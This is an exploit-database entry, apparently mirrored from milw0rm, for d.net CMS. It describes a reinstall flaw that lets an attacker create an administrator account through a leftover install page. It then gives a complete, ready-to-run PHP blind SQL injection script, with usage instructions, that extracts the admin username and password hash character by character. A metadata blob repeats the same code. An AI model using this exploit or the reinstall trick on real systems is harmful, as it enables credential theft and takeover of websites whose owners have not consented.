ID EXPLOITPACK:21078FCCCCCA3D9FEEDF8780EFACEC66
Type exploitpack
Reporter darkjoker
Modified 2009-07-11T00:00:00
Description
d.net CMS - Arbitrary ReinstallBlind SQL Injection
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
- __ __ _ __ -
+ ____/ /___ ______/ /__ (_)___ / /_____ _____ +
- / __ / __ `/ ___/ //_/ / / __ \/ //_/ _ \/ ___/ -
+ / /_/ / /_/ / / / ,< / / /_/ / ,< / __/ / +
- \__,_/\__,_/_/ /_/|_|_/ /\____/_/|_|\___/_/ -
+ /___/ +
- -
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
[+] Arbitrary Re-Installation Vulnerability
There's no check about the elimination of 'help' directory,
then whenever an administrator forget to delete it, we can
re-install the CMS, it means we can add a new administrator
account, without specify database's informations.
http://hostname/dnetCMS/help/install.php
[+] Blind SQL Injection Exploit
<?php
function usage () {
exit ( "\n".
"[+] d.net CMS Blind SQL Injection Exploit\n".
"[+] Author : darkjoker\n".
"[+] Site : http://darkjoker.net23.net\n".
"[+] Download: https://sourceforge.net/projects/dnet/\n".
"[+] Usage : php xpl.php <hostname> <path>\n".
"[+] Ex. : php xpl.php localhost /dnetCMS/\n".
"[+] Greetz : cristina, puccio (they kept me company when I coded this stuff :D)\n".
"\n");
}
function hex ($string) {
$i=0;
while ($i<strlen($string))
$hex .= "%".dechex(ord($string[$i++]));
return $hex;
}
function check ($hostname, $path, $character, $position, $field) {
$character = ord($character);
$sp = fsockopen ($hostname, 80);
$query = hex ("'x' OR ASCII(SUBSTRING((SELECT {$field} FROM cms_security_master WHERE id=1),{$position},1))={$character} -- ");
$request = "GET {$path}index.php?page={$query} HTTP/1.1\r\n".
"Host: {$hostname}\r\n".
"Connection: Close\r\n\r\n";
fputs ($sp, $request);
while (!feof ($sp))
$reply .= fgets ($sp,1024);
fclose ($sp);
if ((preg_match ("|Location: index\.php|", $reply)) || (preg_match ("|<b>Cannot modify</b>:|", $reply)))
return false;
else
return true;
}
function get_field ($hostname, $path, $field) {
echo "[+] ".ucfirst($field)." (hash): ";
$chars = "abcdef0123456789";
for($i=0,$d=1;$d<=32;$i++) {
if (check ($hostname, $path, $chars [$i], $d, $field)) {
echo $chars [$i];
$i = -1;
$d++;
}
}
echo "\n";
}
if ($argc != 3)
usage ();
$hostname = $argv [1];
$path = $argv [2];
$fields = array ("username", "password");
foreach ($fields as $field)
get_field ($hostname, $path, $field);
# milw0rm.com [2009-07-11]
{"lastseen": "2020-04-01T19:05:48", "references": [], "description": "\nd.net CMS - Arbitrary ReinstallBlind SQL Injection", "edition": 1, "reporter": "darkjoker", "exploitpack": {"type": "webapps", "platform": "php"}, "published": "2009-07-11T00:00:00", "title": "d.net CMS - Arbitrary ReinstallBlind SQL Injection", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:05:48", "rev": 2}, "score": {"value": 0.6, "vector": "NONE", "modified": "2020-04-01T19:05:48", "rev": 2}, "vulnersScore": 0.6}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2009-07-11T00:00:00", "id": "EXPLOITPACK:21078FCCCCCA3D9FEEDF8780EFACEC66", "href": "", "viewCount": 1, "sourceData": "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n- __ __ _ __ -\n+ ____/ /___ ______/ /__ (_)___ / /_____ _____ +\n- / __ / __ `/ ___/ //_/ / / __ \\/ //_/ _ \\/ ___/ -\n+ / /_/ / /_/ / / / ,< / / /_/ / ,< / __/ / +\n- \\__,_/\\__,_/_/ /_/|_|_/ /\\____/_/|_|\\___/_/ -\n+ /___/ +\n- -\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n[+] Arbitrary Re-Installation Vulnerability\n\nThere's no check about the elimination of 'help' directory, \nthen whenever an administrator forget to delete it, we can\nre-install the CMS, it means we can add a new administrator\naccount, without specify database's informations.\n\nhttp://hostname/dnetCMS/help/install.php\n\n\n\n[+] Blind SQL Injection Exploit\n\n<?php\n\nfunction usage () {\n\texit (\t\"\\n\".\n\t\t\"[+] d.net CMS Blind SQL Injection Exploit\\n\".\n\t\t\"[+] Author : darkjoker\\n\".\n\t\t\"[+] Site : http://darkjoker.net23.net\\n\".\n\t\t\"[+] Download: https://sourceforge.net/projects/dnet/\\n\".\n\t\t\"[+] Usage : php xpl.php <hostname> <path>\\n\".\n\t\t\"[+] Ex. : php xpl.php localhost /dnetCMS/\\n\".\n\t\t\"[+] Greetz : cristina, puccio (they kept me company when I coded this stuff :D)\\n\".\n\t\t\"\\n\");\n}\n\nfunction hex ($string) {\n\t$i=0;\n\twhile ($i<strlen($string)) \n\t\t$hex .= \"%\".dechex(ord($string[$i++]));\n\treturn $hex;\n}\n\nfunction check ($hostname, $path, $character, $position, $field) {\n\t$character = ord($character);\n\t$sp = fsockopen ($hostname, 80);\n\t$query = hex (\"'x' OR ASCII(SUBSTRING((SELECT {$field} FROM cms_security_master WHERE id=1),{$position},1))={$character} -- \");\n\t$request = \"GET {$path}index.php?page={$query} HTTP/1.1\\r\\n\".\n\t\t \"Host: {$hostname}\\r\\n\".\n\t\t \"Connection: Close\\r\\n\\r\\n\";\n\tfputs ($sp, $request);\n\twhile (!feof ($sp)) \n\t\t$reply .= fgets ($sp,1024);\n\tfclose ($sp);\n\tif ((preg_match (\"|Location: index\\.php|\", $reply)) || (preg_match (\"|<b>Cannot modify</b>:|\", $reply)))\n\t\treturn false;\n\telse\n\t\treturn true;\n}\n\nfunction get_field ($hostname, $path, $field) {\n\techo \"[+] \".ucfirst($field).\" (hash): \";\n\t$chars = \"abcdef0123456789\";\n\tfor($i=0,$d=1;$d<=32;$i++) {\n\t\tif (check ($hostname, $path, $chars [$i], $d, $field)) {\n\t\t\techo $chars [$i];\n\t\t\t$i = -1;\n\t\t\t$d++;\n\t\t}\n\t}\n\techo \"\\n\";\n}\n\nif ($argc != 3)\n\tusage ();\n$hostname = $argv [1];\n$path = $argv [2];\n$fields = array (\"username\", \"password\");\nforeach ($fields as $field)\n\tget_field ($hostname, $path, $field);\n\n# milw0rm.com [2009-07-11]", "cvss": {"score": 0.0, "vector": "NONE"}, "immutableFields": []}
{}